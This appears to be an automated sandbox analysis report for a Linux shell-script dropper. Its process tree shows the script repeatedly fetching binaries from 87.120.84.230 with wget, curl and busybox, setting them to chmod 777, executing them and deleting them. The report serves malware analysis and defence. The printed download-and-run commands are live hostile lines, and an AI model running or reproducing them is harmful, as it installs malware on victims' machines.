Analysis

  • max time kernel
    16s
  • max time network
    52s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/11/2024, 03:04

General

  • Target
    879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
  • Size 10KB
  • Sample241106-dkn3zathpm
  • SHA256 879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
    /tmp/879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
    1⤵
      PID:662
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
          2⤵
            PID:669
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:683
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
            2⤵
              PID:690
            • /bin/chmod
              chmod 777 vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
              2⤵
              • File and Directory Permissions Modification
              PID:693
            • /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
              ./vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
              2⤵
              • Executes dropped EXE
              PID:694
            • /bin/rm
              rm vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
              2⤵
                PID:695
              • /usr/bin/wget
                wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                2⤵
                  PID:696
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                  2⤵
                    PID:698
                  • /bin/chmod
                    chmod 777 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:703
                  • /tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                    ./7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                    2⤵
                    • Executes dropped EXE
                    PID:705
                  • /bin/rm
                    rm 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
                    2⤵
                      PID:707
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                      2⤵
                        PID:708
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:714
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                        2⤵
                          PID:720
                        • /bin/chmod
                          chmod 777 Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                          2⤵
                          • File and Directory Permissions Modification
                          PID:725
                        • /tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                          ./Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                          2⤵
                          • Executes dropped EXE
                          PID:726
                        • /bin/rm
                          rm Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
                          2⤵
                            PID:727
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                            2⤵
                              PID:729
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:735
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                              2⤵
                                PID:741
                              • /bin/chmod
                                chmod 777 TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:754
                              • /tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                                ./TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                                2⤵
                                • Executes dropped EXE
                                PID:755
                              • /bin/rm
                                rm TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
                                2⤵
                                  PID:756
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                  2⤵
                                    PID:757
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:760
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                    2⤵
                                      PID:761
                                    • /bin/chmod
                                      chmod 777 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:763
                                    • /tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                      ./1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                      2⤵
                                      • Executes dropped EXE
                                      PID:765
                                    • /bin/rm
                                      rm 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
                                      2⤵
                                        PID:766
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                        2⤵
                                          PID:767
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:773
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                          2⤵
                                            PID:781
                                          • /bin/chmod
                                            chmod 777 UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:786
                                          • /tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                            ./UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                            2⤵
                                            • Executes dropped EXE
                                            PID:788
                                          • /bin/rm
                                            rm UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
                                            2⤵
                                              PID:790
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                              2⤵
                                                PID:791
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:796
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                2⤵
                                                  PID:802
                                                • /bin/chmod
                                                  chmod 777 mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:806
                                                • /tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                  ./mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:807
                                                • /bin/rm
                                                  rm mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
                                                  2⤵
                                                    PID:808
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                    2⤵
                                                      PID:809
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:810
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                      2⤵
                                                        PID:811
                                                      • /bin/chmod
                                                        chmod 777 mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:812
                                                      • /tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                        ./mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:813
                                                      • /bin/rm
                                                        rm mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
                                                        2⤵
                                                          PID:814
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                          2⤵
                                                            PID:815
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:816
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                            2⤵
                                                              PID:817
                                                            • /bin/chmod
                                                              chmod 777 R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:818
                                                            • /tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                              ./R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:819
                                                            • /bin/rm
                                                              rm R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
                                                              2⤵
                                                                PID:820
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                2⤵
                                                                  PID:821
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:822
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                  2⤵
                                                                    PID:823
                                                                  • /bin/chmod
                                                                    chmod 777 LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:824
                                                                  • /tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                    ./LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:825
                                                                  • /bin/rm
                                                                    rm LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
                                                                    2⤵
                                                                      PID:826
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                      2⤵
                                                                        PID:827
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:828
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                        2⤵
                                                                          PID:829
                                                                        • /bin/chmod
                                                                          chmod 777 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:830
                                                                        • /tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                          ./7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:831
                                                                        • /bin/rm
                                                                          rm 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
                                                                          2⤵
                                                                            PID:832
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                            2⤵
                                                                              PID:833
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:834
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                              2⤵
                                                                                PID:835
                                                                              • /bin/chmod
                                                                                chmod 777 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:836
                                                                              • /tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                                ./5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:837
                                                                              • /bin/rm
                                                                                rm 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
                                                                                2⤵
                                                                                  PID:838
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                  2⤵
                                                                                    PID:839
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:840
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                    2⤵
                                                                                      PID:841
                                                                                    • /bin/chmod
                                                                                      chmod 777 SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:842
                                                                                    • /tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                      ./SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:843
                                                                                    • /bin/rm
                                                                                      rm SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
                                                                                      2⤵
                                                                                        PID:844
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
                                                                                        2⤵
                                                                                          PID:845

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG

                                                                                            • Path /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
                                                                                            • Size 153B
                                                                                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                            • MD5 SHA1 SHA512